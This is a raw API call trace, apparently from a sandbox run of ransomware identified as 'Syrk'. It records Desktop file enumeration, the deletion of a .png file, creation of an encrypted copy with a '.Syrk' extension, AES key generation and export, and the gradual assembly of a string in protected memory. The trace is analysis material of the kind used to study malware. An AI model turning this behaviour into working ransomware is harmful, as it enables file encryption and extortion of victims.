(lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0189.690] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0189.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0189.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0189.690] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0189.691] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0189.691] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0189.691] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", lpFilePart=0x0) returned 0x28 [0189.691] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\4o6jjgbzavbwsb6-29.png")) returned 0x20 [0189.691] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0189.691] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", lpFilePart=0x0) returned 0x3f [0189.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0189.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", lpFilePart=0x0) returned 0x3f [0189.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0189.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0189.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", lpFilePart=0x0) returned 0x3f [0189.694] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\4o6jjgbzavbwsb6-29.png\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0189.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0189.695] CoTaskMemAlloc (cb=0x404) returned 0x5c65428 [0189.695] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c65428, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0189.695] CoTaskMemFree (pv=0x5c65428) [0189.697] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\4o6jjgbzavbwsb6-29.png")) returned 0x20 [0189.697] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0189.697] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", lpFilePart=0x0) returned 0x3f [0189.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0189.698] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\4o6jjgbzavbwsb6-29.png"), fInfoLevelId=0x0, lpFileInformation=0x23bfb9c | out: lpFileInformation=0x23bfb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x182ca880, ftCreationTime.dwHighDateTime=0x1d99a63, ftLastAccessTime.dwLowDateTime=0xe355a970, ftLastAccessTime.dwHighDateTime=0x1d99bb8, ftLastWriteTime.dwLowDateTime=0xe355a970, ftLastWriteTime.dwHighDateTime=0x1d99bb8, nFileSizeHigh=0x0, nFileSizeLow=0xfc61)) returned 1 [0189.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0189.698] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\4o6jjgbzavbwsb6-29.png")) returned 1 [0189.701] EtwEventActivityIdControl () returned 0x0 [0189.702] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.702] EtwEventActivityIdControl () returned 0x0 [0189.702] EtwEventActivityIdControl () returned 0x0 [0189.702] EtwEventActivityIdControl () returned 0x0 [0189.710] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\4o6jjgbzavbwsb6-29.png.syrk")) returned 0x20 [0189.711] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\4o6jjgbzavbwsb6-29.png.syrk")) returned 0x20 [0189.711] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0189.711] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png.Syrk", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png.Syrk", lpFilePart=0x0) returned 0x44 [0189.711] EtwEventActivityIdControl () returned 0x0 [0189.711] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.712] EtwEventActivityIdControl () returned 0x0 [0189.712] EtwEventActivityIdControl () returned 0x0 [0189.712] EtwEventActivityIdControl () returned 0x0 [0189.715] EtwEventActivityIdControl () returned 0x0 [0189.715] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.716] EtwEventActivityIdControl () returned 0x0 [0189.716] EtwEventActivityIdControl () returned 0x0 [0189.716] EtwEventActivityIdControl () returned 0x0 [0189.719] EtwEventActivityIdControl () returned 0x0 [0189.719] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.719] EtwEventActivityIdControl () returned 0x0 [0189.719] EtwEventActivityIdControl () returned 0x0 [0189.719] EtwEventActivityIdControl () returned 0x0 [0189.735] EtwEventActivityIdControl () returned 0x0 [0189.736] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.736] EtwEventActivityIdControl () returned 0x0 [0189.736] EtwEventActivityIdControl () returned 0x0 [0189.737] EtwEventActivityIdControl () returned 0x0 [0189.739] EtwEventActivityIdControl () returned 0x0 [0189.740] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.740] EtwEventActivityIdControl () returned 0x0 [0189.740] EtwEventActivityIdControl () returned 0x0 [0189.740] EtwEventActivityIdControl () returned 0x0 [0189.743] EtwEventActivityIdControl () returned 0x0 [0189.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0189.746] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\4o6jjgbzavbwsb6-29.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23cb780 | out: lpFileInformation=0x23cb780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc86200, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xedc86200, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xedcac360, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xfc84)) returned 1 [0189.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0189.747] GetConsoleOutputCP () returned 0x1b5 [0189.747] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0189.748] GetConsoleOutputCP () returned 0x1b5 [0189.748] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0189.748] GetConsoleOutputCP () returned 0x1b5 [0189.748] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.748] GetConsoleOutputCP () returned 0x1b5 [0189.748] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.748] GetConsoleOutputCP () returned 0x1b5 [0189.748] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0189.748] GetConsoleOutputCP () returned 0x1b5 [0189.748] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0189.749] GetConsoleOutputCP () returned 0x1b5 [0189.749] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.749] GetConsoleOutputCP () returned 0x1b5 [0189.749] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.749] GetConsoleOutputCP () returned 0x1b5 [0189.749] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0189.749] GetConsoleOutputCP () returned 0x1b5 [0189.749] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0189.749] GetConsoleOutputCP () returned 0x1b5 [0189.749] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.749] GetConsoleOutputCP () returned 0x1b5 [0189.750] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.750] GetConsoleOutputCP () returned 0x1b5 [0189.750] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0189.750] GetConsoleOutputCP () returned 0x1b5 [0189.750] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0189.750] GetConsoleOutputCP () returned 0x1b5 [0189.750] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.750] GetConsoleOutputCP () returned 0x1b5 [0189.751] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0189.751] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0189.751] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0189.752] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23e5584*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x23e5584*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0189.754] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0189.754] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x230e700*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x230e700*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0189.754] EtwEventActivityIdControl () returned 0x0 [0189.755] EtwEventActivityIdControl () returned 0x0 [0189.755] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.762] EtwEventActivityIdControl () returned 0x0 [0189.762] EtwEventActivityIdControl () returned 0x0 [0189.762] EtwEventActivityIdControl () returned 0x0 [0189.765] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.766] EtwEventActivityIdControl () returned 0x0 [0189.766] EtwEventActivityIdControl () returned 0x0 [0189.766] EtwEventActivityIdControl () returned 0x0 [0189.805] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x373678) returned 1 [0189.807] CryptGenKey (in: hProv=0x373678, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c69180) returned 1 [0189.807] CryptContextAddRef (hProv=0x373678, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.807] CryptExportKey (in: hKey=0x5c69180, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0189.807] CryptExportKey (in: hKey=0x5c69180, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23ed1fc, pdwDataLen=0x5a2e79c | out: pbData=0x23ed1fc*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0189.808] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.808] EtwEventActivityIdControl () returned 0x0 [0189.808] EtwEventActivityIdControl () returned 0x0 [0189.808] EtwEventActivityIdControl () returned 0x0 [0189.809] SysStringLen (param_1="") returned 0x8 [0189.809] SysStringLen (param_1="w") returned 0x8 [0189.809] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.810] SysStringLen (param_1="仗킨ꅘ띊㞌켜⣎᪍") returned 0x8 [0189.810] SysStringLen (param_1="仗킨ꅘ띊㞌켜⣎᪍") returned 0x8 [0189.810] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.810] SysStringLen (param_1="w2") returned 0x8 [0189.810] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.810] SysStringLen (param_1="픙굸ண쩰㙩酿\⋞) returned 0x8 [0189.810] SysStringLen (param_1="픙굸ண쩰㙩酿\⋞) returned 0x8 [0189.810] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.810] SysStringLen (param_1="w2Z") returned 0x8 [0189.810] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.810] SysStringLen (param_1="Ἅ婚讠⺟黠ಹ틩ﺪ") returned 0x8 [0189.810] SysStringLen (param_1="Ἅ婚讠⺟黠ಹ틩ﺪ") returned 0x8 [0189.810] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.810] SysStringLen (param_1="w2Z1") returned 0x8 [0189.810] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.811] SysStringLen (param_1="ྈ김凷⸙揆គ둬盿") returned 0x8 [0189.811] SysStringLen (param_1="ྈ김凷⸙揆គ둬盿") returned 0x8 [0189.811] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.811] SysStringLen (param_1="w2Z17") returned 0x8 [0189.811] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.811] SysStringLen (param_1="\쏚〷Ꝕ멩㡠鴉∭) returned 0x8 [0189.811] SysStringLen (param_1="\쏚〷Ꝕ멩㡠鴉∭) returned 0x8 [0189.811] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.811] SysStringLen (param_1="w2Z17x") returned 0x8 [0189.811] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.811] SysStringLen (param_1="叔ѳ噳Я췖椣") returned 0x8 [0189.811] SysStringLen (param_1="叔ѳ噳Я췖椣") returned 0x8 [0189.811] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.811] SysStringLen (param_1="w2Z17xD") returned 0x8 [0189.811] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.812] SysStringLen (param_1="擄髼㨘ꝛ臧눅❿") returned 0x8 [0189.812] SysStringLen (param_1="擄髼㨘ꝛ臧눅❿") returned 0x8 [0189.812] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.812] SysStringLen (param_1="w2Z17xDe") returned 0x8 [0189.812] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.812] SysStringLen (param_1="䎼췒翊妠珛礊") returned 0x8 [0189.812] SysStringLen (param_1="䎼췒翊妠珛礊") returned 0x8 [0189.812] SysStringLen (param_1="䎼췒翊妠珛礊") returned 0x8 [0189.812] SysStringLen (param_1="䎼췒翊妠珛礊") returned 0x10 [0189.812] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.812] SysStringLen (param_1="w2Z17xDeYࢣ乭퉏丵¨됱") returned 0x10 [0189.812] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.812] SysStringLen (param_1="䎼췒翊妠珛礊蠉佖롺⪆㦨夂筰唫") returned 0x10 [0189.812] SysStringLen (param_1="䎼췒翊妠珛礊蠉佖롺⪆㦨夂筰唫") returned 0x10 [0189.813] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.813] SysStringLen (param_1="w2Z17xDeYtࢣ乭퉏丵¨됱") returned 0x10 [0189.813] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.813] SysStringLen (param_1="䎼췒翊妠珛礊㈭ྭ녕≗ߥჯ佚闝") returned 0x10 [0189.813] SysStringLen (param_1="䎼췒翊妠珛礊㈭ྭ녕≗ߥჯ佚闝") returned 0x10 [0189.813] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.813] SysStringLen (param_1="w2Z17xDeYtk乭퉏丵¨됱") returned 0x10 [0189.813] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.813] SysStringLen (param_1="䎼췒翊妠珛礊텨헕懊ᷴ퇼䆯፪") returned 0x10 [0189.813] SysStringLen (param_1="䎼췒翊妠珛礊텨헕懊ᷴ퇼䆯፪") returned 0x10 [0189.813] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.813] SysStringLen (param_1="w2Z17xDeYtkQ퉏丵¨됱") returned 0x10 [0189.813] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.813] SysStringLen (param_1="䎼췒翊妠珛礊ⵃ齗鍅࣢졹럎볽筓") returned 0x10 [0189.813] SysStringLen (param_1="䎼췒翊妠珛礊ⵃ齗鍅࣢졹럎볽筓") returned 0x10 [0189.813] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.814] SysStringLen (param_1="w2Z17xDeYtkQR丵¨됱") returned 0x10 [0189.814] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.814] SysStringLen (param_1="䎼췒翊妠珛礊랳着킕譔⑱輎") returned 0x10 [0189.814] SysStringLen (param_1="䎼췒翊妠珛礊랳着킕譔⑱輎") returned 0x10 [0189.814] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.814] SysStringLen (param_1="w2Z17xDeYtkQRq¨됱") returned 0x10 [0189.814] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.814] SysStringLen (param_1="䎼췒翊妠珛礊ロᮻ渘귽봽窡艈쥎") returned 0x10 [0189.814] SysStringLen (param_1="䎼췒翊妠珛礊ロᮻ渘귽봽窡艈쥎") returned 0x10 [0189.814] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.815] SysStringLen (param_1="w2Z17xDeYtkQRqA됱") returned 0x10 [0189.815] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.815] SysStringLen (param_1="䎼췒翊妠珛礊ᐇ鑅눮㟉ê釩㲷㪢") returned 0x10 [0189.815] SysStringLen (param_1="䎼췒翊妠珛礊ᐇ鑅눮㟉ê釩㲷㪢") returned 0x10 [0189.815] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.816] SysStringLen (param_1="w2Z17xDeYtkQRqAo") returned 0x10 [0189.816] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.816] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉") returned 0x10 [0189.816] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉") returned 0x10 [0189.816] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉") returned 0x10 [0189.816] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉") returned 0x18 [0189.816] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.816] SysStringLen (param_1="w2Z17xDeYtkQRqAoV㚀鹚⦺护馷᭎૲") returned 0x18 [0189.816] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.816] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉鍜槫⿷㧾ଁ럓") returned 0x18 [0189.816] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉鍜槫⿷㧾ଁ럓") returned 0x18 [0189.816] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.817] SysStringLen (param_1="w2Z17xDeYtkQRqAoVh鹚⦺护馷᭎૲") returned 0x18 [0189.817] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.817] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉ꗜ놾䵓맴餎핶귿") returned 0x18 [0189.817] SysStringLen (param_1="䎼췒翊妠珛礊뇥ต鍴⿈栽쟉ꗜ놾䵓맴餎핶귿") returned 0x18 